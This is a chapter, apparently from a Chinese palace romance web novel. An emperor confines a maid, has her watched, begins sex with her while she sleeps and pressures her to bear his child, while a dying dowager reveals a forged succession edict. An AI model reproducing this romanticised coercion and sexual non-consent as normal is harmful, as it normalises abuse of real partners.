妙珠叫他弄得生恼,她推他一把,忍不住发脾气:“你做什么老舔我,你恶心不恶心?” 啊!啊! 妙珠气得挠头。 她快受不了他了。 怎么跟狗一样的,就会糊她一臉口水。 “谁叫你老不理我。” 妙珠懒得和他多争,她一边把他脸推远一些,见他还是不肯放她走便又问起了另外一桩事:“你为什么不叫我出乾清宫的门?” 本以为这些时日陈怀衡冷静许多,同往常无异,她前些天借口送陶先生出宫,结果却被乾清宫的守卫拦了下来。 妙珠眨巴着眼睛试探问道:“你總不能一直不让我出门了吧?我近些时日不是都很听话嗎?” 妙珠的小心思好明显,算盘珠子都快崩他脸上了。 陈怀衡道:“亲都不给我亲,还想出去?” 她左右是又不老实了,一安生下来那颗心就要跟着躁动。无妨,上回是他没有防备,才叫她有机可乘,可现下他哪里还有得那么好骗? 想出去可以,总得付出点什么吧。 每日耷拉着脸给他,他怎么能叫她这般轻松就如意了。 妙珠知他这话是什么意思了,她心一横,眼睛一闭,就亲上陈怀衡的脸了。 这是在乾清宫里头,左右是不能和陈怀衡对着干,和他对着干,她什么都得不到。 妙珠知道怎么做才能叫自己过得好一些,如若她真的想要出宫,总不能和陈怀衡对着干。 她现在能做的也就只有等待,等待。 总会等到一个合适的时机。 就像当初在陈怀衡的生辰日上,太皇太后莫名就给了她一个机会,给了她一个把那些遮掩在他们之间的遮羞布扯开的机会。 虽然最后事情当然没能如她所愿 陈怀衡叫妙珠亲愣了一瞬,毕竟她的唇从来没有碰到过她的脸上,毕竟她总不会主动来往他的脸上来凑。 可是如今,她却凑上来了。 多稀奇的事啊。 便是知道她是为了哄他也觉得稀奇。 陈怀衡也不再忍,脑袋偏移了一点方向,就把嘴唇贴了过去,肆意地侵占那两瓣红润的唇。 这番过后,陈怀衡终于肯放人离开。 妙珠从这离开之后,去照了眼铜镜,果真就见唇瓣红得不像话了,这幅样子怎么去见先生? 陈怀衡这人真是说他都不知从何说起。 让嬷嬷教她莫要三心二意朝秦暮楚,可是他呢?他就让她这样去见先生?他不要脸,她还要呢。 果然,对他有用的东西他就认,没用的东西那就是些狗屁道理。 妙珠又用冰帕子敷了下唇,而后就去寻了陶先生。 被陈怀衡那么一弄,陶先生也等了她有好一会。 妙珠到后,先行抱歉:“让先生久等了。” 陶先生笑道:“无妨,既来了,便开始吧。” 妙珠也依言坐下。 今日她来晚了一些,若不叫耽误课程进度,陶先生也不曾多说些其他的话,直接奔入正题。 两人这处一直到了傍晚时候才彻底结束,待结束后,妙珠主动提起要送陶先生出宫,陶先生先是一愣,而后问道:“姑娘不是不能往外出吗?” 先前妙珠是送过她出去的,可不是叫人拦住了吗? 妙珠今日和陈怀衡提过这事,叫他如意了一回,也不知还会不会囚着她了,她得试一试看。 听到陶先生的话也只找了个借口胡诌,道:“我送先生出乾清宫也行。” 说着,便拿了陶先生装书的笼箧,帮她拿到了身上,道:“先生,我们走吧。” 陶先生没法,“唔”了一声也只得应好。 这回,妙珠送陶先生到了乾清宫的门口,果真被放了出门,没想到陈怀衡竟然说到做到。 陈怀衡这般守信用? 果不其然,如妙珠所想,等到出了门后,却有两个侍卫跟在了她的身后。 妙珠气得咬牙,却也没再说些什么,同陶先生一道往宫外去。 罢了,能出门也已经很好了,便是说明陈怀衡这厮至少还能听得进去人话。 这样来看,又怎不算一桩难得的好事。 出宫路上,两人闲话,妙珠问道:“先生是从何时开始教得书?” 陶先生道:“说来你可能是不信,我如今有二十八岁,教书却有十年了。” 妙珠骇得倒吸一口气,感叹道:“十八岁便开始教人读书了?” 陶先生十八岁的时候连陈怀衡都没登基嘞。 妙珠猜出先生厉害,却也不想竟这般厉害。 两人于雪中而行,妙珠提着笼箧,陶先生便为她们撑伞。 她的伞大半往妙珠的身上倾,陶先生听她抽气,笑着解释道:“我家里头不大一样,爹是教书先生,祖父也是教书先生,我从小到大在家里头光听他们教书育人了,到了年岁自然而然的,张口就是些大道理了。我母亲听得直摇头,平日里头光听我爹一个人教书都头疼,现下我也张口闭口是些圣人经了,恰好十八岁那年有户人家的小姐在寻先生,母亲便将我送了过去,大概教了个两三日罢,后来看得上眼,就将我留在了那府上。” 而后,就从那次,开始了她长达十年的教书生涯。 说到这里,陶先生叹了一口气,她道:“陛下他其实不错的。” 这话来得好突然,好莫名,妙珠疑心陶先生是收了陈怀衡的银钱来为说好话。 可这话也只敢在心里头想,问出来便不大像话了。 她只是问:“真的吗?” 他太不是人了。 他哪里不错了。 妙珠不说,陶先生也能知道她心里头在想些什么了,这么些时日的相处,让她对妙珠也颇有了解了。 “若是在宫外行走,必然是能听到世人对陛下的称赞。”她打趣道:“我今个儿这样说,可没收受一分钱啊。” 陶先生道:“你处于宫中,对时局的变化瞧得许不是那么清晰,当初先帝在世时,外头” 许是碍于身后还跟着两人,陶先生说话也不敢太过放肆,她只道:“总之,外头不太好。” 蒙古的铁骑一直在北边肆虐,边关百姓时时受气侵扰,官员们贪污行贿严重,只知鱼肉百姓,民不聊生,怨声载道,而皇帝却又一直不作为。 那样的朝代,熬过来的人都不觉庆幸,只觉疲惫。 再后来,幼帝登基,前几年,仍旧前朝风气,林首辅的新政瞧着是为百 姓好的事,可新政提出没个一年,他就死了。 百姓们好不容易瞧到的一点希望,稀碎得彻底。 这蒙古铁骑快要围困京师。 老天不庇护大昭,万古如长夜啊。 这时候帝王横空出世 陈怀衡是皇帝。 更是救赎。 他心中装不装着子民那都不重要,他能让子民过上好日子,那就够了。 难道说前一任那个仁善的皇帝他心中就一定没有子民吗? 可是有又如何,过程太难堪了,结局落在史书上更是不忍卒读的一页。 都说君子论迹不论心,能做到陈怀衡这种地步,怎就担不起“良心”二字。 陶先生看得出妙珠同皇帝关系匪浅,也看得出妙珠心中大抵是不爽落的。 妙珠是个好脾气的人,或许皇上那边真是做了太过分的事情,才会把小兔子都逼得咬人了。 陶先生也不好再多说些什么。 世人再称赞陈怀衡又如何?和妙珠又有什么关系呢? 再说下去,反倒像是一场酣畅淋漓的绑架了。 妙珠将人送至宫门口,赶在落锁前将人送了出去。 有那两个侍卫看着,她也不好再在外边瞎晃悠,不然只怕有了这次,没了下次。 可在扭头要走的时候,却看到从宫门外急急走来一人,妙珠只消一眼就认出他来。 是陈怀霖。 竟是陈怀霖啊。 缘妙不可言。 只陈怀霖的神色看着有几分着急,像是出了什么事情,即便知道后面有人盯着,可他还是没忍住迈步上前。 “殿下” 她现在非但控制不住心,就连自己的身也要控制不住了。 陈怀霖也看到了妙珠身后跟着的两个冷脸侍卫,知他们大概是陈怀衡派来监视妙珠的,也不敢太过亲近,怕又做了些什么陈怀衡便该将气撒到妙珠的身上。 他忍着没靠近她,和她保持了得体的距离。 他道:“妙珠,皇祖母她发了病,我得先去寻她了。” 方才从宫里头匆忙传来消息,说是太皇太后突发了恶疾,瞧着情形很不好。 妙珠“嗯”了一声,见他神色匆忙,而周遭又有人盯着,便也不再说了。 看着他离开的背影,想到他就要娶妻,酸涩更是难忍,一直等回了乾清宫后,心中也仍旧不大爽落,直接回了屋子里面倒头就蒙到了床上,一直到陈怀衡让来喊她来用晚膳也一直闭门不出。 后来天黑透了,已到戌时,陈怀衡又让卿云来喊了她一番。 几次三番的,再不过去,陈怀衡总得来亲自逮她,妙珠也不再躺了,去了主殿处。 进了里殿,就见陈怀衡坐在灯下,面上神情淡漠,瞧着也没有不痛快,只是神色淡淡,叫人也猜不出他心里头在想些什么东西。 一直到妙珠进了殿,陈怀衡终于有了反应,他看向她,果不其然就见她双眼通红。 哭哭哭,每天都要为了那些个死男人掉眼泪,哪里来的这么多猫尿好流。 他心里头骂骂咧咧,面上却仍旧面无表情,薄情凤眼中,甚至寻不到一丝一点的情绪,他朝着底下的桌案扬了扬首,那上面重新摆好了尚膳监新端来的膳食。 他简简单单地吐出一个字:“吃。” 妙珠也不想要在这事上和他去怄,饿了肚子难受又还得是她自己。 待她用完了晚膳之后,陈怀衡又压着她在旁边坐了半个时辰,妙珠闲得没事,就从一旁的书架上拿了本书坐在底下看,看得困了,就自顾自去净室里头净了身。 从净室里头出来,陈怀衡仍旧坐在案前。 妙珠没管他,自己就往床上去躺。 她每一晚都歇在这,陈怀衡不让她走。她和他提过要回自己的房里去睡,可提一次,陈怀衡晚上就压着她狠狠弄一回。弄得多了,妙珠就老实了,再不提了。 有一回半夜她趁着陈怀衡睡着了,悄悄跑出去回了自己的房,可第二日再睁眼的时候,竟又不知不觉躺回了他的身边。 妙珠问他,他还死不承认是自己抱了她回来。 说他脑子有问题妙珠都觉得抬举他了,她懒得和他争。 时候还早,不算很晚,待妙珠净过身上了榻后,陈怀衡也仍旧坐在桌前,妙珠累了一日,睡眼惺忪,摇摇欲睡,她也不知道陈怀衡是什么时候从案前起的身,便睡了过去。 妙珠迷蒙蒙进入梦乡,可今夜不知怎么的,总觉身上沉得很,压得她都快喘不上去来了,好古怪,好像还做了好古怪的梦,她不知道为什么总觉燥热,热得像是出汗了,身上都浸得湿透了,再受不住,醒了过来,她一睁眼,就发现陈怀衡正趴在她的身上。 福至心灵,陈怀衡也察觉她要醒来,将好掀起眼皮看了过去。 她一抬眼,就撞上了陈怀衡那双幽深的眼。 他没熄灯,在床边还点着一盏小灯。 或许是专门想要欣赏她这一刻的惊慌失措。 妙珠慌了一瞬,慌张过后抓着他的头发把他扯开,刚想张口去骂,可在下一瞬他却直接先一步动作,将她的惊慌,愤恨都一并堵了回去。 妙珠来不及反应,就已经被他弄出了反应。 不知今夜他是怎么了,身上的动作格外使劲,妙珠的脚腕被他抓着,她恨极,想要去蹬他,却被他抓住了脚,咬到了嘴里。 妙珠被他的举动弄得惊骇,惊骇过后又更觉羞耻。 她没眼再看,捂着眼睛撇开了头去。 陈怀衡什么话都不说,也不给妙珠说话的机会,终于,他低喘了一声没再反应,妙珠也终于得到了喘息的机会,她的身子都红透了,脸也好红,她带着哭腔道:“你干嘛这样啊” 她睡得好好的,他干嘛呢? 她是想要质问他的,可是太过疲累,太过气愤,刚经过一场打闹,声音又低又媚,陈怀衡还不曾从她怀中出来,额间青筋一跳,莫名又有了反应。 不过,这回他也终于肯说话了,不再是埋头苦做。 “今日都和陈怀霖说了些什么。” 这腌臜小人,果然是因着这事。 妙珠恼道:“说了什么你不是都该知道的吗,什么都没说,你到底又在发什么疯。” “是什么都没说,那你哭些什么?” 哭也不叫她哭了吗? “你管不着。” 她为他流泪,为他伤神,他难道不知道吗?他不是早就该知道的吗。 泪也不叫他流,他怎么不去死好了。 陈怀衡冷笑,拍了拍她的肚皮:“你瞧清楚了,谁在这?” 第48章 第四十八章我生,我生就是了 妙珠被他这拍弄的动作得又涩又难忍,唇瓣咬破了也再忍不住了。 也不知是过了多久,才終于结束。 她整个人就像从水里面捞出来的一样,浑身上下湿得不像样。 陳怀衡这时却拿了个引枕过来,垫在了她的腰下,妙珠这便不明白他的意思了,垫枕头又是干嘛呢。 她想把这东西拿走,她道:“我要去净身,你别闹了。” 黏黏糊糊的,她快难受死了。 陳怀衡不讓妙珠去洗,自己也不着急去洗,他按住了她碰枕头的手,而后道:“别动,太医说,这样好有孩子。” 她该给他生个孩子了。 生了孩子,她的心也就好定下来了。 她现在其实也和他的妃子没什么两样,只是,名分还是要的。 名分。 在这样的情形下,却像是一道把她老实绑在身边的枷锁。 他十九了,群臣也在为他的子嗣着急了。 他还没有立后,莫名封了个小宮女为妃,那容易遭到反对,可有了孩子,那所有一切都水到渠成得不能再水到渠成了。 他说:“妙珠,生个孩子吧。” 妙珠的臉色變得极其难看。 她不说话,陳怀衡也不说话。 一直到后来,她忽地开口道:“我生,我生就是了。” 她 臉色一开始还不好看,不知道是想到了什么,竟又换了副面孔,陳怀衡对她的心绪變化也有些哑然,可是很快却又凑到她的面前,问道:“你不是哄我呢?” 妙珠张了张嘴,想要说些什么,这事难说,妙珠似不知怎地开口,最后还是下定决心道:“你能不能讓我见一眼殿下,我就见一眼。” 陈怀衡臉上本还有欣喜,可听到她的话后,登时散得一干二净。 他冷着臉直起了身,可下一刻妙珠却扑了上来,她扒着他的臂膀,恳求道:“只见一次,就一次行不行,求你了,便当断干净你也该给我最后一次见面的机会” 陈怀衡知道,是今日那事叫她吃到甜头了,她总觉得只要自己撒撒娇,什么事就都好说了。 妙珠切实是變了很多。 可她还是那样狡黠。 更要命的事来了,他对她的这些小心思,竟也没有一点办法。 陈怀衡懒得和她多说,索性背过了身去,不再说话。 妙珠又攀了过去,从后背抱去:“我就最后见一面,那些心思真不会有了,你讓我生孩子,我不是也答应了你吗,那从前的事情不可以先理清吗?” 他如果真铁了心讓她生,她难道又还有说不生的可能吗? 如果迟早要生,还不如借着这机会多要点好处来。 陈怀衡从始至終都没说话,到了最后忍无可忍吐出两个字,他道:“闭嘴。” 妙珠不肯闭嘴,她跨过陈怀衡,钻到了他的怀里,他沉默着不说话,连个眼神都不丢给她,一副没得商量的样子。 妙珠见他绷着下颌,也学他,伸出舌头舔他,她舔他的脸,一边道:“我都给你生孩子了,你这也不肯吗?你能不这么狠心吗。见一眼又不会怎么样,你让人在旁边盯着也行的” 陈怀衡被她舔得瘙痒难耐,他忍无可忍,終于睁开了眼。 妙珠整个人懒懒散散的窝在他的怀里,那些头发乱七八糟的落在她的脸上,却反衬她更凌乱娇媚,陈怀衡捏住了她的两颊,不让她的舌头继续作恶。 “真是去断了干净?” 而不是去续旧情。 妙珠被他捏着脸,含含糊糊“嗯”一声。 陈怀衡又问:“真是心甘情愿生个孩子出来?” 妙珠又“嗯”一声。 陈怀衡道:“好,见他可以,毁人姻缘天理不容,他都快定下亲了,你可千万别做出些什么破坏别人幸福的事来。” 这回应了她也好,往后再论起这些事来她总也没了借口好说。 妙珠听了他的话后只心想,我哪又能像你这般不要脸呢。 妙珠也不奢求其他的东西了。 只今日宮门再见,那些情绪疯了一样的长,可也知道若陈怀霖成了婚,他们这样再拉拉扯扯也不像样。 自此萧郎是路人。 一面。 就见一面罢。 断也不该是像上次那样断。 * 收到了太皇太后发病的消息之后,陈怀霖便赶去了寿宁宮。 她病重一事被压了下来,最后也只让人去找了陈怀霖入宮。 本来只是一场无关痛痒的風寒罢了,可誰知道养了这么些时日竟也没好,今个儿落了一場春雪,竟莫名就叫她吐了血,一直到晚些时候,脸色发青。 等陈怀霖赶到的时候,俨然一片将死之气。 陈怀霖扑到了她的床边,太皇太后奋力抬眼去看来人,见是陈怀霖便朝着他伸手。 陈怀霖死死握住了她的手。 他看出太皇太后的死相,声音颤抖道:“皇祖母” “孩子,你終来了。”太皇太后撑着力,同他笑道:“本来以为就是一場風寒来着的,你说说,怎么就弄成这样了?” 她下午的时候大概就预料到自己是挺不过去了,她强撑着起身,提笔给自己的家族留下一封信。 只是,她不要同他们见面,她生时体面,死前病重之时,也决计不要叫其他人看到她的孱弱。 她记得,自己入宫那年是十六岁。 十六岁,成了皇帝的妃子。 她一个人,在这黑暗的深宫之中,背负着家族的荣耀,爬到了一人之下,万人之上的位置。 她的儿子死在雪天,她的政敌也死在雪天,而现在,轮到她了,她竟也这般凑巧,赶上了这最后一場春雪。 儿子死前曾不停地念叨着:幺儿,红花开了,要开始死人喽。 那时只觉是人之将死,口中便开始说胡话。 可是呢,可是,他们都先继死在冬季,梅花盛开时节。 她强悍了一生,不愿让任何人看到她濒死前的形销骨立,唯独这个孙子不一样。 他和所有人都不一样。 她大概是这世上最对不起他的人,如今死前,却也不能叫他好过。 喬砚啊喬砚。 他大概是天底下最良善的君子了,只是今日过后呢。 还能吗。 他还能守得住他的道心吗。 可是,她不甘心,即便是快死了,她的脑海之中也仍旧是不甘心,她怎么可能会输给陈怀衡呢? 她算计了一辈子,可怎么都没想到会在他的身上栽跟头。 想起当初之事,也仍旧是恨啊。 她竟在几个皇子之中,选出了最狼子野心的那一个。 如果当初她选的是陈怀霖呢? 是不是一切便都不一样了。 太皇太后想得胸口都闷,却不知道是从哪里生出来的力气,死死地抓了陈怀霖的手。 她的眼角,落出了泪,这一捧泪,是道不尽的心酸。 “喬砚,祖母对不起你,祖母对不起你” 陈怀霖还不知道将要发生什么事情,只是回握着太皇太后那只手,他一边摇头,一边道:“皇祖母不要说胡话了,您没有对不起的事。” 他仍旧沉溺在悲伤之中,眼眶竟都不知是什么时候变得泛红。 他没有亲人了。 如果皇祖母也死了,他也快没亲人了。 可是,太皇太后竟笑了,她眼中分明是痛到极致的情绪,可是下一刻却笑了。 她对陈怀霖道:“乔砚,你还记得你父皇刚离世那会吗?” “怎么了吗?” 太皇太后问他:“你可还记得岑岑亲手写下的那封传位诏书吗?” 听她忽地说出了那旷日离久的事情,陈怀霖的眼中也难得出现了几分呆滞:“皇祖母提那个是做什么?” 太皇太后偏过头去,合上了眼,不再看他。 她道:“一开始你父皇是要立你为帝的啊。” 当初立陈怀衡为皇帝的诏书,是太皇太后逼着躺在病榻上的皇帝立下。 现在算起来,已经过去有九年了。 九年前,在乾清宫发生的那桩旧事直到现在竟也记得清楚。 那是永远不能被忘记的,永远也不会被忘记的,一直到她死。 先帝仁宗也是在一个冬季驾崩的。 那天,乾清宫的梅花开得正正好,后苑的梅花香气都已经飘进了殿内,满屋子都是香气。 仁宗爱好不多,平日里头也就只是喜欢逗逗蛐蛐,附庸風花雪月罢了。他或许是有其他爱好的,只是,那些爱好不被太皇太后喜爱,不被群臣允许,所以便一并慢慢废弛了。 他当初是十三岁登的基,算起来比后来的陈怀衡还大了三岁。 自然而然的,陈怀衡经历的那些事情,他也都经历过了,可他大概就是个懦弱的性子,一旦被压迫便再也起不来身了,不管是朝中大事,又还是后宫娶妻,都要听母后的,必须要听母后的。 他是皇帝,可是却没有支配政权的能力,他分明才是主人,然而,他只能受人支配,而且,对于支配他的母亲来说,他必须要讨她欢心,满足她对他的控制,才能获得她的喜 爱。 不然的话,母亲的冷脸与惩罚,他是决计没法消受的。 可是,不说是帝王了,便是世上最没感情的阿猫阿狗,那也都是会有些反抗精神的,若是它们受了气,总是要龇牙咧嘴,大喊大叫的,可是他呢,他受到了压迫,却也只能让他愈发得毕恭毕敬。 正是在这样的情形之下,岑岑到了他的身边。 岑岑是个卑微的小太监,刚好,他也没有高贵到哪里去。 他对他的情感大约是寄托于自己的无能与孤苦,只有在岑岑面前,他觉得自己才终于像是个帝王了。 岑岑在家中年岁最小,他对先帝说,家中都叫他“幺儿”,后来,仁宗便一直唤他幺儿,一直到了死前,他也喊着他的名字。 太皇太后大概一直以为自己的儿子和这小内监有什么不干不净的干系,毕竟仁宗甚至还会因他同她吵架。可是,她仍旧是太高看仁宗了,照他的胆子来说,是不敢做出那些如有实质的事来,而且,那样的情感寄托,更与什么男欢女爱沾不到边。 仁宗是在快到四十岁那年的一个冬天之中,生了一場重病。 病来如山倒,一下子压垮了他那本就不大强悍的心。 许是他的儿子和他一样福薄,他已经死了两个太子了,倒在病榻上,他想要立下自己最满意的大孩子,陈怀霖为帝。 怀霖是个好孩子。 他生病的时候,他总是会来看他,他的书读得也很好,听人说,他在朝中的表现也不错。 他想立他为帝。 当然,其中也有极其隐秘的一点希望,他希望怀霖能是个厉害的帝王,以后千万不要走了他的老路。 那太累了。 不管誰来走都太累了。 他撑不住了,可他也再不想让孩子们重蹈覆辙了。 他下了决心,让岑岑替他写了诏书,那个时候,他已经连提笔的力气都没有了。 可是,她来了。 母亲来了。 她坐在他的床边,他看不清她的脸,只能看得清她那薄情的背影。 这么多年,他只能看到她的背影。 幼年的时候,母亲牵着他的手去上早朝,她牵着他的手早在长长的甬道中,他只能看到她的背影。朱红宫墙就像是一道四四方方的棺材,压得他快喘不上气来了,母亲的背影冷酷而无情,母后的手冰冷没有温度,仁宗抽回了自己的手,可是,母亲也仍旧没有回头,她步伐坚定,一如既往地走着,她忘了自己的儿子被她落在了身后。 母亲的背影一如既往冷漠,让濒死的仁宗觉得无尽的寒凉。 她没有回头,仁宗仍旧无法看清母亲那张刻薄的,慕权的脸。 母亲说:“立五子吧,立怀衡为帝。” 仁宗岂不知她心中算盘,她有一个傀儡儿子还不够,她还要延续她的权利,在她孙子的身上将她所执掌的权利无止境地延续下去。 仁宗强撑着气辩驳:“衡儿他资质平平,不堪大用。” 可她就是看重他的资质平平,几个皇子中,就他最没出息了。 仁宗看不清她的表情,只听她道:“资质平平无妨,我会好好教他的。” 仁宗不知是从哪里生出来的力气和勇气去反抗。 他蓦地拔高了声音,道:“不是的,不是的,霖儿他何错之有?” 让一个不擅长当皇帝的人去当皇帝,让一个本该当皇帝的人去当王爷,她是想连他的两个儿子一道坑害。 可是,他的母亲根本就不听他的一句话,她让抓了幺儿过来,她的剑正对他的眉心。 啊! 幺儿。 他最放不下的竟还是幺儿。 仁宗死前,护着的人是幺儿,却不是那个曾经他最宠爱的嫔妃。 他难道又不知道等他死后,丽嫔会遭到什么样的祸患吗? 可是,他死前竟也只记得幺儿了。 幺儿跟了他太久了。 他是个太监,是个没根的东西。 那苦命的幺儿啊。 皇帝最后让岑岑写下了立陈怀衡为帝的诏书,在上面盖上了帝王的章印,一份传位诏书,就这样天衣无缝的诞生了。 仁宗见过母亲的最后一面,猛地吐了一口血。 死前,他仍在求她不要对幺儿下手。 毕竟他也只是个卑贱的奴婢而已,他不需要为他所做的事付出代价。 死前,仁宗仍旧一直叨叨着那句“幺儿,红花开了,要开始死人喽。” 红花开了,紫禁城要死人了。 死的那人却是皇帝。 幺儿趴在他的床榻边,一直哭着,他不知道怎么办,只能一直哭。 最后,仁宗在他面前生生咽了气,一声声长长的悲鸣伴随着“圣上殡天”的声音从乾清宫传了出去,可太皇太后,仍旧是站在窗边,看着院中的红梅,她从始至终,都没有回过身去。 在将来漫长的岁月中,太皇太后都不会想起儿子死前那悲绝的神情,可是,那让人心碎的声音,却仍旧遗忘不掉。 仁宗留下的那句话,竟成了一句谶语,这皇家的诅咒。 这是那个懦弱帝王给她的诅咒啊! 他们陆陆续续在冬季离世。 她送走了丈夫,送走了儿子,送走了敌人,如今,轮到自己了。 唯有血,才是争权的代价。 她从不怨恨自己是女子,她到死怨恨的也只是,她当初瞎了眼被那隐忍的虎豹欺骗。 她没有输,若她再年轻一些,她不可能斗不过他。 她对陈怀霖道:“你才该是皇帝,是祖母对不住你。” 陈怀霖被太皇太后这突如其来的话晃了心神。 她在说些什么。 她在说些什么! 别说这样的话来逗他了,这一点都不好玩。 陈怀霖道:“皇祖母别说了,皇祖母病了,是连脑子都不清楚了吗。” 太皇太后只是摇头叹气,她只是一直不停地重复道:“你难道不觉古怪吗?乔砚,你难道不知道吗,你分明才是你父皇最喜爱的孩子才是,他怎么可能会不立你为帝呢?” 看着陈怀霖越发崩溃的神色,可太皇太后竟是笑了。 她道:“乔砚,不要不信,他抢走了你的位置,是他抢走了你的位置啊。” 你看看你,还整日整日地去和他兄友弟恭,还毫无保留地为他做事,任他欺负,他的一切,就连你喜爱的女人,那都该是属于你的。 乔砚,夺回来好吗。 毕竟从一开始,传位诏书上写的是吾子怀霖,而非,五子怀衡。 他的一切,本都该是你。 恨吗?怨吗? 陈怀霖看着太皇太后那哀老的面庞,他抓着她的手不受控制的用力,好像都要将她那本就单薄的指骨捏碎,他下颌紧紧绷着,忽问道:“那为什么一开始是我,后来又不是我了呢。” “皇祖母。你又是怎么知道的呢?” 这突如其来的消息没有打乱他的思绪,反倒比任何时候都要清醒。 正是因为太过清醒,身上都像是被浇了一盆凉水一样寒。 太皇太后毫不避讳地说出真相,她似乎是还想要在击溃陈怀霖的心神上留下更浓墨重彩的一笔 :“是我啊,霖儿。” “当初是我,逼了你父皇改了诏书。” 殿外的寒風十分凛冽,这场春雪来得突然又急切,有摧枯拉朽之势。 仁宗死前怎么都看不清的母亲的脸,可若是看清了她就知道会有多可怕。 太皇太后那张脸上,尽是贪婪,一直到死,也仍旧不愿隐瞒她的巨大野心。 陈怀霖是最亲近她的一个子孙了,她年老势衰之时,也只有他一直侍奉在身旁,只有他一直在宽慰着心情不大好的她。 可是,她在濒死前,却给陈怀霖留下一个足够让人心折的消息,她死了,也不想他们安生。 黑暗中的动物没有感情。 黑暗中的动物没有感情! 一切都是为了利益,一切都是为了权利。 誰步入了这个名利场那都是一个样。 谁步入了这个名利场那都会被毁成这个样。 陈怀霖的眼神肉眼可变的发生了变化,眼中的光芒似乎也随着太皇太后的气微一点点退了下去,她快没气了,说出了这件隐藏近十年的事后,再没有能支撑她呼吸的东西了。 死前,他看到陈怀霖嫌恶地看向她。 看到陈怀霖慢慢地松开了她的手。 而她,一点点地没了气,可是,那双眼中反泛着势在必得的、诡异的光芒。 红花开了。 紫禁城又死人了。 实际执掌了政权的几十年的女人,便这样在一个风雪夜中悄无声息地咽了气。 此间一片死寂,阒无人声,只能听到风疯狂拍打门窗的哐啷声响,殿内的烛火分明不曾被风刮到,却仍旧抖动得厉害,陈怀霖那投在墙壁上的影子,颤抖,颤抖 父皇生病的那段时日,他去看过他,他仁爱的大掌,一遍又一遍地抚着他的额头。 他什么都没说,他什么都没说,仁宗什么都说不出。 他从始至终,就是父皇最满意的皇子。 陈怀霖不知是在殿内坐了多久起身,他身上不知为什么冷得好像动弹不得了。终于,他直起了身,往外殿去,那外头的老嬷嬷匆匆迎了上来。 陈怀霖淡声对她道:“皇祖母归天了。” 他的语气极其平淡,平淡得没有一丝感情,这和从前的那个陈怀霖截然不同。 他的皇祖母死了,他那最敬重的皇祖母死了。 可他竟没有一丝伤痛。 可老嬷嬷也再来不及在这这情形去多想些什么了,只得慌忙赶去里殿。 不多久,就从里面传出一声哭声。 “娘娘归天了!” * 等太皇太后身死的消息传到了乾清宫的时候,陈怀衡刚好就要抱着妙珠入睡,两人晚上也闹了好一会,方才妙珠哭哭啼啼闹着要和陈怀霖叙旧,陈怀衡答应了她后,也终是肯老实睡下了。 可才歇下没多久,卿云就从殿外匆匆赶来。 她轻声唤醒了陈怀衡。 她在这个时候找来,想来应当是出了什么要紧事。 陈怀衡松开了怀中的妙珠,起了身,随手拿了件外裳披上,就和她去了外殿。 卿云道:“陛下,太皇太后娘娘崩逝了。” 陈怀衡听到这话,并没有什么意外的情绪,就连眼皮甚至都没抬一下。 她差不多是到时候了。 这个年岁,一场病就轻易能夺走她的性命。 况说,今夜陈怀霖匆匆入宫,想来也是她那里有话想要去吩咐,只是也不知死前是给他留了些什么话。 不过陈怀衡猜,大抵也只能是些死前也不叫人安生的话。 她就是个死也不肯停歇的性子。 陈怀衡最后还是动身去了一趟寿宁宫,她死了,他也总是不好不出面,身后事怎么着也要安排一下。 太皇太后他一直是不放在眼中的。 他没有仗着年岁欺负人,如果说年轻也算优势的话,那太皇太后在朝中积攒的势力呢?在政治场上,年长才一直是占便宜。 只是,从被她选择的那一刻起,他就知道,她已经输了。 只要给他找到时机,他总会翻身。 他确实赢了,毫无疑问地赢了。 太皇太后离开得突然,谁都没想到她竟会被一场风寒夺走了性命。 突如其来,可细细想来却又在情理之中。 毕竟,她都快六十岁了。 等陈怀衡到了寿宁宫的时候,皇宫中的人也都已经来了大半。 几个皇子公主来了,太后也来了,陈怀衡反倒是最后到的。 陈怀霖站在人群中,正在和太后说着些什么,毕竟他是最后一个见过太皇太后的人,也不知她死前又有没有给他留下什么话来。 陈怀衡到了,出现在了这处,那两人便也没再继续说下去。 太后脸上依稀能见得伤怀,她多少是敬爱这个婆母的。 太皇太后是个厉害的女人,待她也还算不错,如今她猝然身死,她也跟着落了几滴泪。 她对陈怀衡道:“你皇祖母走得突然,前些时日听人说她病了,染了风寒,本还以为不怎么打紧,谁晓得,忽就没了气。” 毕竟是死了人,这周围都是抽抽噎噎的哭泣声,他们都在为这个仁善的皇祖母掉眼泪,太后触景生情,也擦了擦眼角滴出来的泪,她道:“活着的时候不容易,死后的身后事也让礼部的人好好办吧。” 她又看了眼一旁的陈怀霖,道:“到底还是和协王亲近啊,死前也只唤来了他去身边。” 话至此,便也没再说了。 陈怀衡示意陈怀霖去一旁说话。 他问他道:“死前都是同你说了什么?” 其实陈怀衡也多少能猜出来太皇太后都说了些什么。 按照她那样歹毒的心思,便是死也决计不会让别人好过。 她可以为了自己最后的愿景,然后去不择手段地做出一切事情来。 即便说那人是他最喜爱的皇孙。 不她根本就不爱任何人,如若她真有一点心,当初也决计不会扶持陈怀衡上位,而让陈怀霖和皇位失之交臂。 她十年如一日的狠心。 是野心家最美好的品格。 她谁也不爱,权利才是毕生所爱。 她死前独独叫来了陈怀霖,想也知道又是想去编排什么是非。 听到陈怀衡问他,陈怀霖面色如常,眼中已然爬满悲痛,他道:“无非是说些放不下子孙的话,又还能说些什么呢?” 陈怀衡看着他的神情,一时之间竟也辨不出真假。 不过,凭借对太皇太后的了解,他很快就做出了自己的判断。 陈怀霖说的是假话。 有些事情是不容许误判的。 一失足成千古恨也不是什么唬人的空话。 就像是当初的太皇太后,怎么也没想到会亲自选了一头狼崽出来。 即便陈怀霖面上神色如常,他也仍旧不相信他说的话。 然而,他也并没有继续深究下去,不再继续过问。 太皇太后死了,不过陈怀衡并不怎么伤心,只是表面功夫还是要做,她怎么说也是他的外祖母,不管是在人情还是法理上,他都应该留下。 在大昭这样矫情饰诈的地方,表面即为实质,他面上样子做得好,也没人能说些什么了,只要他热心肠地为她操办着身后事,天下人也只会赞扬他这做子孙的孝顺。 就像是太皇太后,仁宗死后,她一幅悲痛欲绝之势,谁又还会去论他们生前的龃龉呢。 陈怀衡直到卯时才从这里离开,一直到了最后太后他们都快撑不住了,他也仍旧没走。 他难得安生,在太皇太后的尸体旁坐了好些个时辰,等到时辰差不多了,换了身衣服径直上了早朝。 群臣们今日入宫的时候也都听到了太皇太后薨逝的消息,伤者皆掩面落泪,至早朝时,见到皇帝憔悴容颜,才知他昨日竟在寿宁宫守了一整夜,众人 更是大肆赞其孝心,又是好一番称赞皇帝高尚品德。 待到了这一切弄完后,陈怀衡便回了乾清宫。 